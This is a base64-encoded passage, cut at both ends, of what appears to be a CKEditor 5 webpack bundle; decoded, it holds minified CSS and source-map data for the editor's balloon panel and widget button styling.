Q6MTVweDtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXBhbmVsLWJhY2tncm91bmQpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tY2stY29sb3ItcGFuZWwtYm9yZGVyKX0uY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX3dpdGgtYXJyb3c6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF93aXRoLWFycm93OmJlZm9yZXt3aWR0aDowO2hlaWdodDowO2JvcmRlci1zdHlsZTpzb2xpZH0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfbl06YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWxbY2xhc3MqPWFycm93X25dOmJlZm9yZXtib3JkZXItbGVmdC13aWR0aDp2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpO2JvcmRlci1ib3R0b20td2lkdGg6dmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpO2JvcmRlci1yaWdodC13aWR0aDp2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpO2JvcmRlci10b3Atd2lkdGg6MH0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfbl06YmVmb3Jle2JvcmRlci1ib3R0b20tY29sb3I6dmFyKC0tY2stY29sb3ItcGFuZWwtYm9yZGVyKX0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfbl06YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWxbY2xhc3MqPWFycm93X25dOmJlZm9yZXtib3JkZXItbGVmdC1jb2xvcjp0cmFuc3BhcmVudDtib3JkZXItcmlnaHQtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLXRvcC1jb2xvcjp0cmFuc3BhcmVudH0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfbl06YWZ0ZXJ7Ym9yZGVyLWJvdHRvbS1jb2xvcjp2YXIoLS1jay1jb2xvci1wYW5lbC1iYWNrZ3JvdW5kKTttYXJnaW4tdG9wOnZhcigtLWNrLWJhbGxvb24tYXJyb3ctb2Zmc2V0KX0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfc106YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWxbY2xhc3MqPWFycm93X3NdOmJlZm9yZXtib3JkZXItbGVmdC13aWR0aDp2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpO2JvcmRlci1ib3R0b20td2lkdGg6MDtib3JkZXItcmlnaHQtd2lkdGg6dmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKTtib3JkZXItdG9wLXdpZHRoOnZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KX0uY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfc106YmVmb3Jle2JvcmRlci10b3AtY29sb3I6dmFyKC0tY2stY29sb3ItcGFuZWwtYm9yZGVyKTtmaWx0ZXI6ZHJvcC1zaGFkb3codmFyKC0tY2stYmFsbG9vbi1hcnJvdy1kcm9wLXNoYWRvdykpfS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19zXTphZnRlciwuY2suY2stYmFsbG9vbi1wYW5lbFtjbGFzcyo9YXJyb3dfc106YmVmb3Jle2JvcmRlci1sZWZ0LWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50fS5jay5jay1iYWxsb29uLXBhbmVsW2NsYXNzKj1hcnJvd19zXTphZnRlcntib3JkZXItdG9wLWNvbG9yOnZhcigtLWNrLWNvbG9yLXBhbmVsLWJhY2tncm91bmQpO21hcmdpbi1ib3R0b206dmFyKC0tY2stYmFsbG9vbi1hcnJvdy1vZmZzZXQpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbjphZnRlciwuY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX2Fycm93X246YmVmb3Jle2xlZnQ6NTAlO21hcmdpbi1sZWZ0OmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSotMSk7dG9wOmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKi0xKX0uY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX2Fycm93X253OmFmdGVyLC5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbnc6YmVmb3Jle2xlZnQ6Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKjIpO3RvcDpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSotMSl9LmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19uZTphZnRlciwuY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX2Fycm93X25lOmJlZm9yZXtyaWdodDpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkqMik7dG9wOmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKi0xKX0uY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX2Fycm93X3M6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zOmJlZm9yZXtsZWZ0OjUwJTttYXJnaW4tbGVmdDpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkqLTEpO2JvdHRvbTpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSotMSl9LmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zdzphZnRlciwuY2suY2stYmFsbG9vbi1wYW5lbC5jay1iYWxsb29uLXBhbmVsX2Fycm93X3N3OmJlZm9yZXtsZWZ0OmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSoyKTtib3R0b206Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkqLTEpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfc2U6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zZTpiZWZvcmV7cmlnaHQ6Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKjIpO2JvdHRvbTpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSotMSl9LmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zbWU6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zbWU6YmVmb3Jle3JpZ2h0OjI1JTttYXJnaW4tcmlnaHQ6Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKjIpO2JvdHRvbTpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSotMSl9LmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zbXc6YWZ0ZXIsLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zbXc6YmVmb3Jle2xlZnQ6MjUlO21hcmdpbi1sZWZ0OmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSoyKTtib3R0b206Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkqLTEpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbm1lOmFmdGVyLC5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbm1lOmJlZm9yZXtyaWdodDoyNSU7bWFyZ2luLXJpZ2h0OmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSoyKTt0b3A6Y2FsYyh2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkqLTEpfS5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbm13OmFmdGVyLC5jay5jay1iYWxsb29uLXBhbmVsLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbm13OmJlZm9yZXtsZWZ0OjI1JTttYXJnaW4tbGVmdDpjYWxjKHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkqMik7dG9wOmNhbGModmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKi0xKX0nLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvcGFuZWwvYmFsbG9vbnBhbmVsLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvcGFuZWwvYmFsbG9vbnBhbmVsLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19zaGFkb3cuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0EsTUFFQyw4REFDRCxDQUVBLHFCQUNDLFlBQWEsQ0FDYixpQkFBa0IsQ0FFbEIseUJBeUNELENBdENFLCtHQUVDLFVBQVcsQ0FDWCxpQkFDRCxDQUVBLHdEQUNDLDZDQUNELENBRUEsdURBQ0MsdURBQ0QsQ0FJQSw0Q0FDQyw2Q0FDRCxDQUVBLDJDQUNDLHVEQUNELENBSUEsNENBQ0MsNkNBQ0QsQ0FFQSwyQ0FDQyx1REFDRCxDQUdELDhDQUNDLGFBQ0QsQ0M5Q0QsTUFDQyw2QkFBOEIsQ0FDOUIsOEJBQStCLENBQy9CLGlDQUFrQyxDQUNsQyxvRUFDRCxDQUVBLHFCQ0pDLGVENElELENBeElBLGlGQ0FFLHFDRHdJRixDQXhJQSxxQkVOQyxvQ0FBOEIsQ0ZVOUIsZUFBZ0IsQ0FFaEIsMkNBQTRDLENBQzVDLDZDQWlJRCxDQTlIRSwrR0FFQyxPQUFRLENBQ1IsUUFBUyxDQUNULGtCQUNELENBSUEsdUZBRUMsb0RBQW9ILENBQXBILGtEQUFvSCxDQUFwSCxxREFBb0gsQ0FBcEgsa0JBQ0QsQ0FFQSw0Q0FDQyxnREFDRCxDQUVBLHVGQUhDLDZCQUE4RSxDQUE5RSw4QkFBOEUsQ0FBOUUsNEJBTUQsQ0FIQSwyQ0FDQyxvREFBa0YsQ0FDbEYseUNBQ0QsQ0FJQSx1RkFFQyxvREFBb0gsQ0FBcEgscUJBQW9ILENBQXBILHFEQUFvSCxDQUFwSCwrQ0FDRCxDQUVBLDRDQUNDLDZDQUFrRSxDQUNsRSx1REFDRCxDQUVBLHVGQUpDLDZCQUFrRSxDQUFsRSwrQkFBa0UsQ0FBbEUsOEJBT0QsQ0FIQSwyQ0FDQyxpREFBa0YsQ0FDbEYsNENBQ0QsQ0FJQSx5R0FFQyxRQUFTLENBQ1QsdURBQTBELENBQzFELDJDQUNELENBSUEsMkdBRUMsK0NBQWtELENBQ2xELDJDQUNELENBSUEsMkdBRUMsZ0RBQW1ELENBQ25ELDJDQUNELENBSUEseUdBRUMsUUFBUyxDQUNULHVEQUEwRCxDQUMxRCw4Q0FDRCxDQUlBLDJHQUVDLCtDQUFrRCxDQUNsRCw4Q0FDRCxDQUlBLDJHQUVDLGdEQUFtRCxDQUNuRCw4Q0FDRCxDQUlBLDZHQUVDLFNBQVUsQ0FDVix1REFBMEQsQ0FDMUQsOENBQ0QsQ0FJQSw2R0FFQyxRQUFTLENBQ1Qsc0RBQXlELENBQ3pELDhDQUNELENBSUEsNkdBRUMsU0FBVSxDQUNWLHVEQUEwRCxDQUMxRCwyQ0FDRCxDQUlBLDZHQUVDLFFBQVMsQ0FDVCxzREFBeUQsQ0FDekQsMkNBQ0QiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG46cm9vdCB7XG5cdC8qIE1ha2Ugc3VyZSB0aGUgYmFsbG9vbiBhcnJvdyBkb2VzIG5vdCBmbG9hdCBvdmVyIGl0cyBjaGlsZHJlbi4gKi9cblx0LS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXg6IGNhbGModmFyKC0tY2stei1kZWZhdWx0KSAtIDMpO1xufVxuXG4uY2suY2stYmFsbG9vbi1wYW5lbCB7XG5cdGRpc3BsYXk6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblxuXHR6LWluZGV4OiB2YXIoLS1jay16LW1vZGFsKTtcblxuXHQmLmNrLWJhbGxvb24tcGFuZWxfd2l0aC1hcnJvdyB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICIiO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdH1cblxuXHRcdCY6OmJlZm9yZSB7XG5cdFx0XHR6LWluZGV4OiB2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpO1xuXHRcdH1cblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdHotaW5kZXg6IGNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpO1xuXHRcdH1cblx0fVxuXG5cdCZbY2xhc3MqPSJhcnJvd19uIl0ge1xuXHRcdCY6OmJlZm9yZSB7XG5cdFx0XHR6LWluZGV4OiB2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpO1xuXHRcdH1cblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdHotaW5kZXg6IGNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpO1xuXHRcdH1cblx0fVxuXG5cdCZbY2xhc3MqPSJhcnJvd19zIl0ge1xuXHRcdCY6OmJlZm9yZSB7XG5cdFx0XHR6LWluZGV4OiB2YXIoLS1jay1iYWxsb29uLXBhbmVsLWFycm93LXotaW5kZXgpO1xuXHRcdH1cblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdHotaW5kZXg6IGNhbGModmFyKC0tY2stYmFsbG9vbi1wYW5lbC1hcnJvdy16LWluZGV4KSArIDEpO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stYmFsbG9vbi1wYW5lbF92aXNpYmxlIHtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0fVxufVxuJywnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3JvdW5kZWQuY3NzIjtcbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fc2hhZG93LmNzcyI7XG5cbjpyb290IHtcblx0LS1jay1iYWxsb29uLWFycm93LW9mZnNldDogMnB4O1xuXHQtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0OiAxMHB4O1xuXHQtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aDogOHB4O1xuXHQtLWNrLWJhbGxvb24tYXJyb3ctZHJvcC1zaGFkb3c6IDAgMnB4IDJweCB2YXIoLS1jay1jb2xvci1zaGFkb3ctZHJvcCk7XG59XG5cbi5jay5jay1iYWxsb29uLXBhbmVsIHtcblx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycztcblx0QG1peGluIGNrLWRyb3Atc2hhZG93O1xuXG5cdG1pbi1oZWlnaHQ6IDE1cHg7XG5cblx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItcGFuZWwtYmFja2dyb3VuZCk7XG5cdGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWNrLWNvbG9yLXBhbmVsLWJvcmRlcik7XG5cblx0Ji5jay1iYWxsb29uLXBhbmVsX3dpdGgtYXJyb3cge1xuXHRcdCY6OmJlZm9yZSxcblx0XHQmOjphZnRlciB7XG5cdFx0XHR3aWR0aDogMDtcblx0XHRcdGhlaWdodDogMDtcblx0XHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0fVxuXHR9XG5cblx0JltjbGFzcyo9ImFycm93X24iXSB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGJvcmRlci13aWR0aDogMCB2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSB2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpO1xuXHRcdH1cblxuXHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50IHZhcigtLWNrLWNvbG9yLXBhbmVsLWJvcmRlcikgdHJhbnNwYXJlbnQ7XG5cdFx0fVxuXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudCB0cmFuc3BhcmVudCB2YXIoLS1jay1jb2xvci1wYW5lbC1iYWNrZ3JvdW5kKSB0cmFuc3BhcmVudDtcblx0XHRcdG1hcmdpbi10b3A6IHZhcigtLWNrLWJhbGxvb24tYXJyb3ctb2Zmc2V0KTtcblx0XHR9XG5cdH1cblxuXHQmW2NsYXNzKj0iYXJyb3dfcyJdIHtcblx0XHQmOjpiZWZvcmUsXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Ym9yZGVyLXdpZHRoOiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkgdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSAwIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCk7XG5cdFx0fVxuXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdGJvcmRlci1jb2xvcjogdmFyKC0tY2stY29sb3ItcGFuZWwtYm9yZGVyKSB0cmFuc3BhcmVudCB0cmFuc3BhcmVudDtcblx0XHRcdGZpbHRlcjogZHJvcC1zaGFkb3codmFyKC0tY2stYmFsbG9vbi1hcnJvdy1kcm9wLXNoYWRvdykpO1xuXHRcdH1cblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGJvcmRlci1jb2xvcjogdmFyKC0tY2stY29sb3ItcGFuZWwtYmFja2dyb3VuZCkgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiB2YXIoLS1jay1iYWxsb29uLWFycm93LW9mZnNldCk7XG5cdFx0fVxuXHR9XG5cblx0Ji5jay1iYWxsb29uLXBhbmVsX2Fycm93X24ge1xuXHRcdCY6OmJlZm9yZSxcblx0XHQmOjphZnRlciB7XG5cdFx0XHRsZWZ0OiA1MCU7XG5cdFx0XHRtYXJnaW4tbGVmdDogY2FsYygtMSAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkpO1xuXHRcdFx0dG9wOiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKTtcblx0XHR9XG5cdH1cblxuXHQmLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbncge1xuXHRcdCY6OmJlZm9yZSxcblx0XHQmOjphZnRlciB7XG5cdFx0XHRsZWZ0OiBjYWxjKDIgKiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKTtcblx0XHRcdHRvcDogY2FsYygtMSAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSk7XG5cdFx0fVxuXHR9XG5cblx0Ji5jay1iYWxsb29uLXBhbmVsX2Fycm93X25lIHtcblx0XHQmOjpiZWZvcmUsXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0cmlnaHQ6IGNhbGMoMiAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkpO1xuXHRcdFx0dG9wOiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKTtcblx0XHR9XG5cdH1cblxuXHQmLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfcyB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGxlZnQ6IDUwJTtcblx0XHRcdG1hcmdpbi1sZWZ0OiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSk7XG5cdFx0XHRib3R0b206IGNhbGMoLTEgKiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkpO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zdyB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGxlZnQ6IGNhbGMoMiAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkpO1xuXHRcdFx0Ym90dG9tOiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKTtcblx0XHR9XG5cdH1cblxuXHQmLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfc2Uge1xuXHRcdCY6OmJlZm9yZSxcblx0XHQmOjphZnRlciB7XG5cdFx0XHRyaWdodDogY2FsYygyICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oYWxmLXdpZHRoKSk7XG5cdFx0XHRib3R0b206IGNhbGMoLTEgKiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhlaWdodCkpO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zbWUge1xuXHRcdCY6OmJlZm9yZSxcblx0XHQmOjphZnRlciB7XG5cdFx0XHRyaWdodDogMjUlO1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiBjYWxjKDIgKiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKTtcblx0XHRcdGJvdHRvbTogY2FsYygtMSAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSk7XG5cdFx0fVxuXHR9XG5cblx0Ji5jay1iYWxsb29uLXBhbmVsX2Fycm93X3NtdyB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGxlZnQ6IDI1JTtcblx0XHRcdG1hcmdpbi1sZWZ0OiBjYWxjKDIgKiB2YXIoLS1jay1iYWxsb29uLWFycm93LWhhbGYtd2lkdGgpKTtcblx0XHRcdGJvdHRvbTogY2FsYygtMSAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGVpZ2h0KSk7XG5cdFx0fVxuXHR9XG5cblx0Ji5jay1iYWxsb29uLXBhbmVsX2Fycm93X25tZSB7XG5cdFx0Jjo6YmVmb3JlLFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdHJpZ2h0OiAyNSU7XG5cdFx0XHRtYXJnaW4tcmlnaHQ6IGNhbGMoMiAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkpO1xuXHRcdFx0dG9wOiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKTtcblx0XHR9XG5cdH1cblxuXHQmLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfbm13IHtcblx0XHQmOjpiZWZvcmUsXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0bGVmdDogMjUlO1xuXHRcdFx0bWFyZ2luLWxlZnQ6IGNhbGMoMiAqIHZhcigtLWNrLWJhbGxvb24tYXJyb3ctaGFsZi13aWR0aCkpO1xuXHRcdFx0dG9wOiBjYWxjKC0xICogdmFyKC0tY2stYmFsbG9vbi1hcnJvdy1oZWlnaHQpKTtcblx0XHR9XG5cdH1cbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBJbXBsZW1lbnRzIHJvdW5kZWQgY29ybmVyIGludGVyZmFjZSBmb3IgLmNrLXJvdW5kZWQtY29ybmVycyBjbGFzcy5cbiAqXG4gKiBAc2VlICRjay1ib3JkZXItcmFkaXVzXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0Ym9yZGVyLXJhZGl1czogMDtcblxuXHRAbmVzdCAuY2stcm91bmRlZC1jb3JuZXJzICYsXG5cdCYuY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRib3JkZXItcmFkaXVzOiB2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtcblx0XHRAbWl4aW4tY29udGVudDtcblx0fVxufVxuIiwiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgaGVscGVyIHRvIGNvbWJpbmUgbXVsdGlwbGUgc2hhZG93cy5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1ib3gtc2hhZG93ICRzaGFkb3dBLCAkc2hhZG93QjogMCAwIHtcblx0Ym94LXNoYWRvdzogJHNoYWRvd0EsICRzaGFkb3dCO1xufVxuXG4vKipcbiAqIEdpdmVzIGFuIGVsZW1lbnQgYSBkcm9wIHNoYWRvdyBzbyBpdCBsb29rcyBsaWtlIGEgZmxvYXRpbmcgcGFuZWwuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stZHJvcC1zaGFkb3cge1xuXHRAbWl4aW4gY2stYm94LXNoYWRvdyB2YXIoLS1jay1kcm9wLXNoYWRvdyk7XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCcuY2sgLmNrLXdpZGdldCAuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9ue2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3c6aGlkZGVuO3otaW5kZXg6dmFyKC0tY2stei1kZWZhdWx0KX0uY2sgLmNrLXdpZGdldCAuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uIHN2Z3twb3NpdGlvbjphYnNvbHV0ZTt0b3A6NTAlO2xlZnQ6NTAlO3otaW5kZXg6Y2FsYyh2YXIoLS1jay16LWRlZmF1bHQpICsgMil9LmNrIC5jay13aWRnZXQgLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b25fYmVmb3Jle3Rv